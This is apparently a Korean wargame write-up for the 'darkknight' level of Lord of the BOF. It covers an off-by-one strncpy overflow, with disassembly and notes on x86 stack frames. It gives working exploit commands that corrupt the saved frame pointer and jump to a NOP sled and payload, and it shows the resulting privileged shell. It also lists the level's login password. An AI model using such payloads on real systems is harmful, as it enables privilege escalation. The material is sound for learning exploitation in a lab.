• id = golem
  • pw = cup of coffee

1. 문제 : darkknight.c

/*
        The Lord of the BOF : The Fellowship of the BOF
        - darkknight
        - FPO
*/

#include <stdio.h>
#include <stdlib.h>

void problem_child(char *src)
{
        char buffer[40];
        strncpy(buffer, src, 41);
        printf("%s\n", buffer);
}

main(int argc, char *argv[])
{
        if(argc<2){
                printf("argv error\n");
                exit(0);
        }

        problem_child(argv[1]);
}

일단 가장 큰 차이점은 main() 함수안에서 problem_child() 라는 함수 안에서 buffer[40] 에 대한 strncpy(buffer, src, 41) 가 이루어진다. 이전에는 한 함수 안에서 stack 에 저장된 return address 를 변조하도록 공격하였는데, 이번에는 하나의 함수에서 이전에 저장한 stack frame register 를 변조하여, 이를 복구하는 이전 caller function 에서 복구시에 원하는 shellcode 위치로 jump 하도록 해야한다. 이를 위해서는 frame register, $ebp, 함수 preamble, postamble 등에 대해서 잘 이해해야한다.

1.3 main()

0x804846c <main>:       push   %ebp
0x804846d <main+1>:     mov    %esp,%ebp
0x804846f <main+3>:     cmpl   $0x1,0x8(%ebp)
0x8048473 <main+7>:     jg     0x8048490 <main+36>
0x8048475 <main+9>:     push   $0x8048504
0x804847a <main+14>:    call   0x8048354 <printf>
0x804847f <main+19>:    add    $0x4,%esp
0x8048482 <main+22>:    push   $0x0
0x8048484 <main+24>:    call   0x8048364 <exit>
0x8048489 <main+29>:    add    $0x4,%esp
0x804848c <main+32>:    lea    0x0(%esi,1),%esi
0x8048490 <main+36>:    mov    0xc(%ebp),%eax
0x8048493 <main+39>:    add    $0x4,%eax
0x8048496 <main+42>:    mov    (%eax),%edx
0x8048498 <main+44>:    push   %edx
0x8048499 <main+45>:    call   0x8048440 <problem_child>
0x804849e <main+50>:    add    $0x4,%esp
0x80484a1 <main+53>:    leave
0x80484a2 <main+54>:    ret
0x80484a3 <main+55>:    nop
0x80484a4 <main+56>:    nop

1.4 problem_child()

0x8048440 <problem_child>:      push   %ebp
0x8048441 <problem_child+1>:    mov    %esp,%ebp
0x8048443 <problem_child+3>:    sub    $0x28,%esp
0x8048446 <problem_child+6>:    push   $0x29
0x8048448 <problem_child+8>:    mov    0x8(%ebp),%eax
0x804844b <problem_child+11>:   push   %eax
0x804844c <problem_child+12>:   lea    0xffffffd8(%ebp),%eax
0x804844f <problem_child+15>:   push   %eax
0x8048450 <problem_child+16>:   call   0x8048374 <strncpy>
0x8048455 <problem_child+21>:   add    $0xc,%esp
0x8048458 <problem_child+24>:   lea    0xffffffd8(%ebp),%eax
0x804845b <problem_child+27>:   push   %eax
0x804845c <problem_child+28>:   push   $0x8048500
0x8048461 <problem_child+33>:   call   0x8048354 <printf>
0x8048466 <problem_child+38>:   add    $0x8,%esp
0x8048469 <problem_child+41>:   leave
0x804846a <problem_child+42>:   ret
0x804846b <problem_child+43>:   nop

2 함수 진입 & 복귀

이번 문제 풀이에서 가장 중요한 것은 기존 Frame Register가 어떻게 쓰이는 것을 이해하는 것이다. 기존과 달리 frame register를 이용한 공격하게 된다.

2.1 함수 내부 동작 : A brief introduction to x86 calling conventions

my_function:
  push %ebp              # Preamble: save the old %ebp.
  movl %esp, %ebp        # Point %ebp to the saved %ebp and the new stack frame.

  subl $0x4, %esp        # Reserve space for local variables.

  movl 0x8(%ebp), %eax   
  movl %eax, -0x4(%ebp)  # Move argument into local variable.

  # Function body. 

  addl $0x4, %esp        # Reclaim space used by local variables.

  leave                  # Epilogue: restore the old %ebp.
  ret

2.2 함수 진입

push %ebp             # Preamble: save the old %ebp.
mov %esp, %ebp         # Point %ebp to the saved %ebp and the new stack frame.

2.3 함수 jump

ARM 에서는 함수 jump 시에 return address 를 함수 prologue 에서 push rX, .., $lr stack push 를 해주었던 것 같은데, x86에서는 call function 이 알아서 해주는 듯 하다.

call function

2.4 leave() : @stackoverflow: Why does leave do “mov esp,ebp” in x86 assembly?

mov esp,ebp
pop ebp

2.5 ret()

pop eip

2.6 x86 Call/Return Protocol

img

| <argument 2>       |
| <argument 1>       |
| <return address>   |
| <old ebp>          | <= %ebp
| <local var 1>      |
| <local var 2>      | <= %esp

2. 공격

2.1 공격 방법 고민

여기서 중요한 점은 함수를 복귀시에 그전에 stack 에 저장해둔 saved $ebp 와 $lr 를 꺼내기 위하여 $esp를 saved $ebp 로 설정한 다음에 pop $ebp 하여 $ebp 를 설정하고 나서, 그 다음 word 에 있는 $lr 를 pop 하여 return 한다는 것이다. 즉, saved $ebp를 변조하면 함수 복귀 시의 주소 역시 바꿀 수 있다는 것이다.

2.2 공격

problem_child() 함수 안에서 buffer copy 시에 saved $ebp 의 마지막 한 바이트 값을 바꿀 수 있는데, 이는 main() 함수로 복귀한 이후에 saved $ebp 복원하는 과정에서 이 값으로 $esp 로 설정을 하여 pop 하여 $ebp 설정하고 (leave) 이후에 ret 시에 다음 +4 bytes 자리에 있는 값을 $eip로 설정하여 복귀하게 된다. 따라서 $ebp 값의 다음 word 자리의 값이 shellcode 가 위치한 두 번째 parameter 값이 있는 위치가 되도록 0xbffffdc8 로 선택하여 exploit 작성하였다.

img

./darkknight `python -c 'print "\xc8\xfd\xff\xbf" * 10 + "\x04"'`  `python -c 'print "\x90"*100 + "\x68\xf9\xbf\x0f\x40\x68\xe0\x91\x03\x40\xb8\xe0\x8a\x05\x40\x50\xc3"'`    
Èý ¿Èý ¿Èý ¿Èý ¿Èý ¿Èý ¿Èý ¿Èý ¿Èý ¿Èý ¿ü ¿
                                          ý ¿Xü ¿Ë      @
bash$   
bash$ id
uid=511(golem) gid=511(golem) euid=512(darkknight) egid=512(darkknight) groups=511(golem)

3. 다음 단계 정보

bash$ id
uid=511(golem) gid=511(golem) euid=512(darkknight) egid=512(darkknight) groups=511(golem)
bash$ my-pass
euid = 512
new attacker

4. 의문점

사실 아래가 처음에 공격 시도한 exploit 인데, 앞의 성공한 경우 거의 동일하다. 차이가 있다면 ret 시 설정되는 값 위치를 특정 위치 하나만 설정하고, 나머지는 NOP Sled 을 깔은 것인데, 이것이 동작하지 않는다는 것은… gdb 실행한 경우와 실제 실행하는 경우의 stack 이 조금 다르게 잡히기 때문에 복귀 주소가 잘못되는 듯하다.

이렇게 두 경우의 stack 위치가 달라지는 경우에 어떻게 처리를 해야할지 모르겠다. 일단은 NOP Sled이나 특정값을 반복시켜서 stack 위치가 약간 틀어져서 동작하도록 해야할 듯 하다.

img

./darkknight `python -c 'print "\x90"*20 + "\xc8\xfd\xff\xbf" * 4 + "\x04"*5'`  `python -c 'print "\x90"*100 + "\x68\xf9\xbf\x0f\x40\x68\xe0\x91\x03\x40\xb8\xe0\x8a\x05\x40\x50\xc3"'`
Èý ¿Èý ¿Èý ¿Èý ¿ü ¿
                  ý ¿Xü ¿Ë      @
Segmentation fault